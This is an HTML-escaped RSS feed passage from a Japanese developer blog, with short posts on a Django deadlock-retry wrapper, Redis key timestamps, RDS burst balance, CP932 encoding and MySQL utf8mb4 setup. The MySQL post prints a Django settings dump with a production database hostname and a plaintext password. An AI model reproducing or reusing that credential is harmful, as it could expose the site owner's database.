&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; django.db.backends.utils
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.db &lt;span style="color:#f92672"&gt;import&lt;/span&gt; OperationalError
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; time
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;original &lt;span style="color:#f92672"&gt;=&lt;/span&gt; django&lt;span style="color:#f92672"&gt;.&lt;/span&gt;db&lt;span style="color:#f92672"&gt;.&lt;/span&gt;backends&lt;span style="color:#f92672"&gt;.&lt;/span&gt;utils&lt;span style="color:#f92672"&gt;.&lt;/span&gt;CursorWrapper&lt;span style="color:#f92672"&gt;.&lt;/span&gt;execute
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;execute_wrapper&lt;/span&gt;(&lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; attempts &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; attempts &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; original(&lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;except&lt;/span&gt; OperationalError &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; e:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; code &lt;span style="color:#f92672"&gt;=&lt;/span&gt; e&lt;span style="color:#f92672"&gt;.&lt;/span&gt;args[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; attempts &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; &lt;span style="color:#f92672"&gt;or&lt;/span&gt; code &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1213&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;raise&lt;/span&gt; e
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; attempts &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; time&lt;span style="color:#f92672"&gt;.&lt;/span&gt;sleep(&lt;span style="color:#ae81ff"&gt;0.2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;django&lt;span style="color:#f92672"&gt;.&lt;/span&gt;db&lt;span style="color:#f92672"&gt;.&lt;/span&gt;backends&lt;span style="color:#f92672"&gt;.&lt;/span&gt;utils&lt;span style="color:#f92672"&gt;.&lt;/span&gt;CursorWrapper&lt;span style="color:#f92672"&gt;.&lt;/span&gt;execute &lt;span style="color:#f92672"&gt;=&lt;/span&gt; execute_wrapper
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Redis キーの作成時刻</title><link>https://hdknr.github.io/blogs/posts/2023/11/redis-%E3%82%AD%E3%83%BC%E3%81%AE%E4%BD%9C%E6%88%90%E6%99%82%E5%88%BB/</link><pubDate>Mon, 06 Nov 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/11/redis-%E3%82%AD%E3%83%BC%E3%81%AE%E4%BD%9C%E6%88%90%E6%99%82%E5%88%BB/</guid><description>&lt;h1 id="redis-キーの登録日時"&gt;Redis キーの登録日時&lt;/h1&gt;
&lt;p&gt;Redis でキーを登録した時刻を取得するには、残念ながら直接的な方法はありません。Redis はキーの作成日時や更新日時を保存していないからです ¹。ただし、いくつかの回避策があります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;キーを登録するときに、別のキーにタイムスタンプを保存する。
例えば、&lt;code&gt;SET foo bar&lt;/code&gt;とするときに、&lt;code&gt;SET foo:timestamp 1636106362&lt;/code&gt;というように、キーの名前に&lt;code&gt;:timestamp&lt;/code&gt;を付けて現在の UNIX 時間を値として保存する。
この方法では、キーの数が増えるとメモリの消費量も増えることに注意が必要です。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;キーの値にタイムスタンプを含める。
例えば、&lt;code&gt;SET foo bar:1636106362&lt;/code&gt;というように、値の末尾に&lt;code&gt;:&lt;/code&gt;と現在の UNIX 時間を付ける。
この方法では、値の取得や操作において、タイムスタンプを除去する必要があることに注意が必要です。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;キーに有効期限を設定する。
例えば、&lt;code&gt;EXPIRE foo 3600&lt;/code&gt;とすると、キー&lt;code&gt;foo&lt;/code&gt;は 1 時間後に削除される。
このとき、&lt;code&gt;TTL foo&lt;/code&gt;とすると、キーの残りの有効期限が秒単位で返される。
この値から、キーの登録時刻を逆算することができる。この方法では、キーが削除されると時刻を取得できなくなることに注意が必要です。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以上の方法のいずれも完璧ではありませんが、Redis でキーの登録時刻を取得するための可能な解決策として参考にしてください。&lt;/p&gt;
&lt;p&gt;¹: &lt;a href="%5E1%5E"&gt;Redis でキーの作成日時や更新日時を取得する方法はありますか？ - スタック・オーバーフロー&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/11/6
(1) redis-cli でよく使うコマンド 20 選 #Redis - Qiita. &lt;a href="https://qiita.com/hatsu/items/a52817364160e0b6bb60"&gt;https://qiita.com/hatsu/items/a52817364160e0b6bb60&lt;/a&gt;.
(2) redis-cli でよく使うコマンド 20 選 #Redis - Qiita. &lt;a href="https://qiita.com/hatsu/items/a52817364160e0b6bb60"&gt;https://qiita.com/hatsu/items/a52817364160e0b6bb60&lt;/a&gt;.
(3) 全データ型対応の操作 — redis 2.0.3 documentation - shibu.jp. &lt;a href="http://redis.shibu.jp/commandreference/alldata.html"&gt;http://redis.shibu.jp/commandreference/alldata.html&lt;/a&gt;.
(4) 【2022 年最新版】【Redis メモ・3】キーに有効期限を付与し &amp;hellip;. &lt;a href="https://www.servernote.net/article.cgi?id=redis-note-3"&gt;https://www.servernote.net/article.cgi?id=redis-note-3&lt;/a&gt;.
(5) セッション管理として Redis を使用する - RAKUS Developers Blog &amp;hellip;. &lt;a href="https://tech-blog.rakus.co.jp/entry/2017/10/17/111828"&gt;https://tech-blog.rakus.co.jp/entry/2017/10/17/111828&lt;/a&gt;.
(6) ja.wikipedia.org. &lt;a href="https://ja.wikipedia.org/wiki/Redis"&gt;https://ja.wikipedia.org/wiki/Redis&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>RDS バーストバランス</title><link>https://hdknr.github.io/blogs/posts/2023/11/rds-%E3%83%90%E3%83%BC%E3%82%B9%E3%83%88%E3%83%90%E3%83%A9%E3%83%B3%E3%82%B9/</link><pubDate>Wed, 01 Nov 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/11/rds-%E3%83%90%E3%83%BC%E3%82%B9%E3%83%88%E3%83%90%E3%83%A9%E3%83%B3%E3%82%B9/</guid><description>&lt;h1 id="rds-バーストバランス"&gt;RDS バーストバランス&lt;/h1&gt;
&lt;h2 id="バーストバランス"&gt;バーストバランス&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/s-katsumata/items/b12f943905ff68474e38"&gt;https://qiita.com/s-katsumata/items/b12f943905ff68474e38&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="iops"&gt;IOPS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://qiita.com/mk34/items/28ccb7a3e84964d79203"&gt;https://qiita.com/mk34/items/28ccb7a3e84964d79203&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ストレージサイズを増やす&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;ストレージの自動スケーリング&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="クレジットバランス"&gt;クレジットバランス&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/rds_gp2_iocreditbarance/"&gt;https://dev.classmethod.jp/articles/rds_gp2_iocreditbarance/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="スロークエリ"&gt;スロークエリ&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/satofujino/items/a7350aefc3cdde563592"&gt;https://qiita.com/satofujino/items/a7350aefc3cdde563592&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>utf8 -&gt; cp932</title><link>https://hdknr.github.io/blogs/posts/2023/10/utf8-cp932/</link><pubDate>Wed, 11 Oct 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/10/utf8-cp932/</guid><description>&lt;h1 id="utf8---cp932"&gt;UTF8 -&amp;gt; CP932&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tkstock.site/2023/07/19/python-pandas-to_csv-cp932-unicodeerror/"&gt;【pandas】csv 出力時に cp932 を指定すると UnicodeError が起こる場合の対処法&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/inoory/items/aafe79384dbfcc0802cf"&gt;[Python3] Shift_JIS と UTF-8 と ASCII を行き来する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.python.org/ja/3/library/codecs.html#error-handlers"&gt;コーデック: エラーハンドラ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sites.google.com/site/fudist/Home/vim-nihongo-ban/mojibake/utf8-cp932conv"&gt;UTF-8 → cp932(Shift_JIS)変換表&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>MySQL: 𠮷（つちよし）</title><link>https://hdknr.github.io/blogs/posts/2023/10/mysql-%F0%A0%AE%B7%E3%81%A4%E3%81%A1%E3%82%88%E3%81%97/</link><pubDate>Sun, 01 Oct 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/10/mysql-%F0%A0%AE%B7%E3%81%A4%E3%81%A1%E3%82%88%E3%81%97/</guid><description>&lt;h1 id="mysql-𠮷つちよし"&gt;MySQL: 𠮷（つちよし）&lt;/h1&gt;
&lt;h2 id="データベーステーブル-utf8mb4にすること"&gt;データベース/テーブル &lt;code&gt;utf8mb4&lt;/code&gt;にすること&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ALTER&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TABLE&lt;/span&gt; customers_customer &lt;span style="color:#66d9ef"&gt;CONVERT&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TO&lt;/span&gt; CHARACTER &lt;span style="color:#66d9ef"&gt;SET&lt;/span&gt; utf8mb4 &lt;span style="color:#66d9ef"&gt;COLLATE&lt;/span&gt; utf8mb4_unicode_ci;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;確認:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ echo &amp;#34;show variables like &amp;#39;character%&amp;#39;;&amp;#34; | python manage.py dbshell
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;Variable_name Value
character_set_client utf8mb4
character_set_connection utf8mb4
character_set_database utf8mb4
character_set_filesystem binary
character_set_results utf8mb4
character_set_server utf8mb4
character_set_system utf8mb3
character_sets_dir /rdsdbbin/mysql-8.0.28.R4/share/charsets/
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;character_set_system utf8mb3&lt;/code&gt; が問題&lt;/p&gt;
&lt;h2 id="接続-を-utf8mb4-にすること"&gt;接続 を &lt;code&gt;utf8mb4&lt;/code&gt; にすること&lt;/h2&gt;
&lt;p&gt;django: &lt;code&gt;OPTIONS/charset=utf8mb4&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;In [&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;]: &lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.conf &lt;span style="color:#f92672"&gt;import&lt;/span&gt; settings
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;In [&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;]: settings&lt;span style="color:#f92672"&gt;.&lt;/span&gt;DATABASES
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Out[&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;]:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{&lt;span style="color:#e6db74"&gt;&amp;#39;default&amp;#39;&lt;/span&gt;: {&lt;span style="color:#e6db74"&gt;&amp;#39;ENGINE&amp;#39;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#39;django.db.backends.mysql&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;HOST&amp;#39;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#39;prod-db-instance.xxxxxxxx.ap-northeast-1.rds.amazonaws.com&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;NAME&amp;#39;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#39;coresys_masters&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;USER&amp;#39;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#39;coresys_masters&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;PASSWORD&amp;#39;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#39;va0Gaighoo3Paez8&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;OPTIONS&amp;#39;&lt;/span&gt;: {&lt;span style="color:#e6db74"&gt;&amp;#39;charset&amp;#39;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#39;utf8mb4&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;init_command&amp;#39;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;SET sql_mode=&amp;#39;STRICT_TRANS_TABLES&amp;#39;&amp;#34;&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ATOMIC_REQUESTS&amp;#39;&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;False&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;AUTOCOMMIT&amp;#39;&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;CONN_MAX_AGE&amp;#39;&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;TIME_ZONE&amp;#39;&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;PORT&amp;#39;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;TEST&amp;#39;&lt;/span&gt;: {&lt;span style="color:#e6db74"&gt;&amp;#39;CHARSET&amp;#39;&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;COLLATION&amp;#39;&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;MIGRATE&amp;#39;&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;MIRROR&amp;#39;&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;NAME&amp;#39;&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;}}}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>AWS:ECS: スケジュールタスク</title><link>https://hdknr.github.io/blogs/posts/2023/09/awsecs-%E3%82%B9%E3%82%B1%E3%82%B8%E3%83%A5%E3%83%BC%E3%83%AB%E3%82%BF%E3%82%B9%E3%82%AF/</link><pubDate>Fri, 29 Sep 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/09/awsecs-%E3%82%B9%E3%82%B1%E3%82%B8%E3%83%A5%E3%83%BC%E3%83%AB%E3%82%BF%E3%82%B9%E3%82%AF/</guid><description>&lt;h1 id="aws-ecs-スケジュールタスク"&gt;AWS: ECS: スケジュールタスク&lt;/h1&gt;
&lt;h2 id="cloudtail"&gt;CloudTail&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/tsnote-ecs-investigate-the-cause-of-failedinvocations/"&gt;FailedInvocations が記録されて ECS タスクが起動しないときの対処方法&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>RDS MySQL 接続確認</title><link>https://hdknr.github.io/blogs/posts/2023/09/rds-mysql-%E6%8E%A5%E7%B6%9A%E7%A2%BA%E8%AA%8D/</link><pubDate>Sun, 03 Sep 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/09/rds-mysql-%E6%8E%A5%E7%B6%9A%E7%A2%BA%E8%AA%8D/</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/where-i-am-on-aws/"&gt;接続先のインスタンスを識別する方法 (EC2 / RDS MySQL)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/hirooka622/items/d9ffb3aaf5fbba0a8a8d"&gt;https://qiita.com/hirooka622/items/d9ffb3aaf5fbba0a8a8d&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
